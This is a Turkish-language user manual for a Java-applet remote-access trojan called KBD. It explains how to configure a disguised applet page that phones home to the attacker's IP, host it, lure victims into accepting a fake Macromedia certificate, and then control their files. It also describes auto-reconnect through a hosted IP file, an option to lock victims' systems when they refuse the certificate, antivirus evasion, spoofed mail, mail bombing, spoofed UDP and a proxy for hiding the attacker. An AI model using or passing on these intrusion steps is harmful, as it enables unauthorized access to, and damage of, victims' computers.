			
			| ______________________________________|
			|   KBD (KADIR BASOL DEVASTATOR) 2002	|
			|		Programmed By		|
			|	     KADIR & KERIM BASOL,	|
			|	       Onur Oztirpan		|
			|		  ICQ No:		|
			|	     	  102040		|
			|	        Surum 1.4.5		|
			 _______________________________________

	KBD Programi 1999 yilinin sonlarinda kullanima basladi.Zamaninda cok sayida Web sunuculari,arastirma 
bilgisayarlarinin sistemleri kontrol edildi.2001 yili sonunda tum kullanicilara acildi ve simdi Sub7 gibi eski nesil
Trojanlardan cok farkli seviyede yer aldi.Nedeni ; exe dosyalari ile sisteme girme olayi tamamiyle kapandi.
Program Vandal turundedir.Asli Trojan degildir.Program cok buyuk potansiyel risk olusturacagi 
icin bazi kisitlamarda bulunuldu.

	Programin ozellikleri :
		- Dosya sistemine erisme.
		- Dosyalari zipleme veya unzip etme.
		- Network arkasindaki bilgisayarlara girmek.
		- Girmek istediginiz kisinin ip numarasini bilmek zorunda degilsiniz.
		- Applet uzerinden taninmama.
		- Lokal network üzerindeki paketleri yakalamak
		- Sahte Mail gondermek , rasgele isimlerle mail bomb cekmek ve mail sunucunun otomatik tespit edilmesi.
		- Protokol cozumleri.
		- Sifreli Haberlesme.
		- Birden fazla kisi ile birlesip coklu nuke saldirisi yapma.
		- Baska ip lere bir baska ip adina sahte UDP paketleri gondermek.
		- Ayni zamanda tek Win32 nin yaninda Linux gibi sistemlere sızmak.
		- Applet uzerinden yapilan saldirilarin FireWall tarafindan test edilememesi.
		- Su an icin hicbir virus tarayici tarafindan bulunamamasi.
		- Sistemde calisan programlari listeleme , programi sonlandirma , 
		programi sistemden banlama ( bir daha ayni programin calismasini engellemek)

	Kisitlamalar :
		- Guvenlik onayindan gecmeden JVM kodu
		- FireWall'larin tumunu delme
		- Yerel network'e yayilma ( NETBIOS aciksa )
		- Modem kullanan kisilerin telefon numarasini tesbit etme.

	Sistem gereksinimi :
		Program calisirken iyi performans almak istiyorsaniz :
		
		Pentium 700
		128 MB RAM
		Network arkasi bilgisayar olmamasi 
		( Network arkasi ile yine bizim yaptigimiz Bridge adli ek programin kullanilmasi )

	Programin Kullanimi :
		Oncelikle KBD.zip dosyasini actiginiz zaman icinden en onemli bulunmasi gereken dosyalar asagida siralanmistir :
			1-) KBDClient.jar ( Programin Client bolumu )
			2-) Winpcap.exe ( Client icin yuklenmesi gereken plug-in )
			3-) Macromedia.class ( Server bolumu )
			4-) tt2.html ( Server bolumu )
			5-) tt.html ( Server bolumu )
			6-) index.html ( Server bolumu )
			Surum 1.4.5 icin :
				7-) RegistryAPI.class
		
		Program Java ile yazildigi icin programin calismasi icin indirmeniz gereken bir plug-in olmali.
	Bunu oyunlarin calismasi icin DirectX gerektigi gibi dusunebilirsiniz.Java programlarinin calismasi icin de
	Java Virtual Machine yani Java Sanal Yorumlayicisi gerekmektedir.
	
	Sanal Yorumlayicisini download edeceginiz yer :
		http://www.czilla.org/DOWNLOAD/j2re-1_4_0-win-i.exe
	
	Bu programi download ettikten sonra exe dosyasini calistirin.Programin yuklenmesi bittikten sonra , KBD.zip dosyasi
	icindeki Winpcap.exe dosyasini calistirin ve sisteminize kurun.Simdi sisteme gereken tum plug-in leri kurmus bulunmaktayiz.
	Programi calistirmak icin :
		KBDClient.jar dosyasi uzerine cift tiklayin 10 - 15 saniye icinde program acilacak.
	Bu durumda programin calismasi gerekecek.Sayet program calismaz ise bilgisayari restart edin ve 
	restart ettikten sonra tekrar deneyin.Restart ettiginiz halde calismadiysa, 
	DOS konsolunu acin yani MS-DOS Komut Sistemi.Daha sonra KBD.zip dosyasini actiginiz 
	klasore DOS tan gidin.Ornek olarak DOS Konsolunu actiginizda ; 

					---BASLAT---
			---JAR DOSYASINA CIFT TIKLADIGINDA ACILMAZ ISE---
	C:\WINDOWS>_
	Diyelimki KBD.zip klasorundeki actigimiz tum dosyalar C:\KBD klasoru icinde.
	
	O zaman su komutlari uygulayin : 
	
	C:\WINDOWS>cd..
	C:\>cd KBD
	C:\KBD>java -jar KBDClient.jar
	
	Bu komutu girdikten sonra asagidaki yazi yazacaktir.
	
	JVM Invoked.
	Please wait...
	
	Yukaridaki yazi ciktiktan sonra 5 - 10 saniye bekleyin.Programin grafiksel arayuzu acilacaktir.

			---JAR DOSYASINA CIFT TIKLADIGINDA ACILMAZ ISE---
					--- BITTI ---

	Programin Client'i basariyla kullanmayi bu noktadan sonra ogrenmis olduk.Simdi Server kullanimini anlatmaya geldi.
	
	Programin Server bolumu ( BU DOSYALARI DIREKT KENDI SISTEMINIZDE ACMAYIN ! ):
		tt2.html
		tt.html
		index.html
		Macromedia.class
	
	Bu noktadan sonra Server dosyasini editlememiz icin gereken tt2.html dosyasi ile oynamamizdir.
		tt2.html ile oynamamiz icin ; 
			Not Defteri ile tt2.html dosyasini acin.
			Karsiniza asagidaki HTML kodlari cikacaktir :
			<HTML>
			<!--
				Burdaki ayarlari artik el ile oynamadan yapmalisiniz.
				Artik ip numaranizin kisiler tarafindan okunanamamasi icin sifreli hale getirdik.
				Sizinde burdan direkt ip girmeniz artik gecersizdir.
				Burdaki ayarlar ile oynamaniz icin Client icindeki Edit bolumunden Edit HTML kismindan ayarlari yapip
				Buraya yapistirmaniz lazim.
				Direkt ayari burdan el ile yaparsaniz program calismaz...
				Bu yaziyi okuduktan sonra silebilirsiniz...
			--!>
			
			<APPLET CODE= "MS_API2.class" WIDTH="100" HEIGHT="100"> 
			<PARAM NAME= "cabbase" Value="Macromedia.class">
			<PARAM NAME="Alarm" Value="207 15 60 191 163 120 0 37 207 32 218 121 " >
			<PARAM NAME="PORT" Value="13 22 207 52 207 29 ">
			<PARAM NAME="Target" Value="195 11 153 52 214 22 92 47 163 191 139 191 139 33 109 134 77 133 109 124 40 133 141 37 215 175 159 197 ">
			<PARAM NAME="Sekil" Value="bir">
			<PARAM NAME="Programmer" Value="Programmed by Kadir BASOL">
			<PARAM NAME="UIN" Value="102040">
			<PARAM NAME="URL" Value="<NONE>">
			<PARAM NAME="AutoController" Value="false">
			<PARAM NAME="AutoDestroyOnClickNo" Value="false">
			</APPLET>
			</HTML>


		Sizin burada oynamaniz gereken Value="" degerlerini kendinize gore degistirmektir.
		
		Yeni surum 1.4.5 ve sonrasinda bu ayarlari KBDClient icindeki menüden Edit bölümünden 
		Edit HTML ile ayarlari yapin.Artik ayarlarin tumu sifreli sekilde html ye aktarilmalidir.
		

		Alarm bolumundeki Value kismina kendi ip numaranizi gireceksiniz.(Edit HTML icinde Your IP Address)
		
		PORT bolumundeki Value kismina istediginiz portu sececeksiniz. ( 1-65535 arasinda olmali )
		(Edit HTML icinde Select Port)
		
		Target bolumundeki Value ise , kisi siteye girdikten sonra hangi siteye yonlendirilmeli.
		(Edit HTML icinde Redirect To)
		
		Sekil bolumu ile oynamaniza pek gerek yok ordaki Value="" degeri bir olarak kalsin yine 
		ama illaki ne diye soruyorsaniz sadece frame numarasi oluyor.

		Programmer ve UIN bolumuyle de oynamayiniz.
		
			AutoController ; false yapildigi taktirde , kisiye sadece ip numaraniz degismedigi surece 
		baglanabilirsiniz.Static ip yada host kullaniyorsaniz false yapmanizi oneriyorum.Eger 
		ip numaraniz static degilse burayi true yapmalisiniz.AutoController true yapildigi taktirde 
		URL bolumu sizi ilgilendirecektir artik.Bilgisayarinizda deneme.txt adli yeni bir text dosyasi acin ve 
		txt dosyasinin icine sadece ip numaranizi girin ve dosyayi kaydedip kapatin ve diyelimki Web sayfanizda :
			http://www.geocities.com/jduke
		diye bir site.Sitenin ana bolumune ip numaramizi yazdigimiz txt dosyasini atacaksiniz ve 
		txt dosyasinin yeride sonuc olarak :
			http://www.geocities.com/jduke/deneme.txt
		olacaktir.
		URL kismina sizde "http://www.geocities.com/jduke/deneme.txt" degerini gireceksiniz ve 
		girdiginiz bilgisayari bir daha kaybetme gibi bir durumunuz olmayacak.Her ip numaraniz degistiginde
		http://www.geocities.com/jduke/deneme.txt bolumune yeni ip numaranizi gireceksiniz.
		Girdiginiz an 60 saniye icinde daha onceki girdiginiz kisiler sizi bulacaktir ve bilgisayarlarina yeniden
		girme imkani elde edeceksiniz.
		
		URL bolumu , AutoController bolumundeki degeri true yaptiginiz zaman , kullanilacak bir degerdir.
		
		AutoDestroyOnClickNo bolumu ise , kisi gelen sertifikayi red ederse ve 
		siz burdaki degeri true yapmissaniz , kisinin sistemi kitlenecektir.Aksi halde false yaparsaniz
		karsi sisteme birsey olmayacaktir...
		
		
		Simdi sunucu ayarlarinida bu anlatimdan sonra ogrenmis olduk.
		
		Programi kendi bilgisayarinizda test etmek istiyorsaniz :
			Control Panel ( Denetim Masasi ) => Java Plug-in bolumune girin
			Daha sonra browser sekme tusuna tikladiginizda :
				Internet Explorer'i tikten cekin ve sistemde calisan tum Internet Explorer pencerelerini
				kapatin.
			
		KBD Programi :
			Windows XP , Internet Explorer harici hicbir sisteme ActiveX uzerinden giremez veya yukaridaki gibi
		Java Virtual Machine 1.4 yuklenmis makinalarada girme olanagi yok.
		Fakat C# uzerine XP gibi sistemlere sizmasi icin server su an gelistiriliyor.
		Linux gibi sistemler icinde jar dosyasi halinde Server mevcut durumda.Linux sistemlerine sizan Server
		platformdan bagimsiz oldugu icin cep telefonlarinada sizabiliyor.Bu durumda yeni nesil cep telefonlarininda ilk Trojani
		KBD diyebiliriz.

		Bu ayarlari yaptiktan sonra web sayfaniza asagidaki 6 dosyayi atin :
			tt.html
			tt2.html
			index.html
			Macromedia.class
			RegistryAPI.class
			Monk.class
		Diyelimki bu 4 dosyayi web sayfamizin ana bolumune attik ve sayfamizda :
			http://www.geocities.com/jduke
		
		Iste o zaman bilgisayarlarina girmek istedigimiz herkese bu siteyi reklam olarak verin yada onerin ve
		daha onceden Client'in nasil acildigini anlatmistik.
		Yukarida anlattigimiz sekilde Client'i acin ve tepedeki menulerden
			"Edit" kismindan "Connect Host" a basin.Ayarlarda program Super Devastator modunda olsun ve 
		PORT u ise tt2.html nin ayarinda ne yazdiysaniz aynen onu girin ve beklemede kalin.Siteye girip
		Macromedia sertifikasini onaylayan herkes sagdaki menude gorunecektir ve sag taraftan 
		istediginiz kisinin uzerine gelip sag tus ile basin ve cikan popup menuden
		Connect This Host veya sol tus ile girmek istediginiz kisiyi secin.
		Daha sonra Cnt Host'a tiklayin alttaki buttonlarda mevcuttur zaten.
		Kisinin sisteme bu sekilde gireceksiniz.
		
		KBD de sol taraf girdiginiz makinanin dosya sistemi sag tarafta sizin oluyor.
		Download ve Upload islemlerini surukle birak islemi ile yapabilirsiniz.

		Bridge :
		Bridge <kime baglanacak verilen porttan tepki geldiginde> <port numarasi>
		Verilen porttan baglanma istegi gelince hemen verilen ip ye kendisi 
		yine ayni porttan baglaniyor ve ordan gelen cevaplari baglanmak isteyen ip ye , 
		diger taraftan gelen cevaplari da öbürüne yönlendiriyor.
			Daha acik dille anlatmak gerekirse bir bilgisayara Bridge yuklenirse , 
		onun adina bir baska bilgisayar ile baglanti kurabilirsiniz.
		Boylece sizin ip gizlenmis olacaktir.
		
		Örnek :
			Karsi makinada programi gizli calistirmak istiyorsaniz , BridgeW.exe yi ayni komutla
			calistirin.
			Bridge yüklediğimiz makinan ip adresi 195.174.99.14
			Sizin ip adresiniz 195.174.102.100
			ve amacinizda irc.undernet.org a 195.174.99.14 adli ip adiyla
			baglanmak.
			irc.undernet.org un ip adreside : 194.134.160.242
			simdi karsi makinaya Bridge i su sekilde calistirtin.
			
			Bridge 194.134.160.242 6667
			6667 : IRC Portu
			ve sizde IRC Server'i acin ve 
			/server 195.174.99.14 6667
			yazin.
			Bu komutu yazinca siz 195.174.99.14 no lu ip ye 6667. porttan gireceksiniz ve o
			da sizin adiniza 194.134.160.242 yani irc.undernet.org a 6667. porttan baglanacak.
			IRC Server'a girdikten sonra nickinize whoisden bakin ve ip numaranizi 195.174.99.14
			olarak gorunecektir.
			Iyi eglenmeler :o)

				-------------BITTI--------------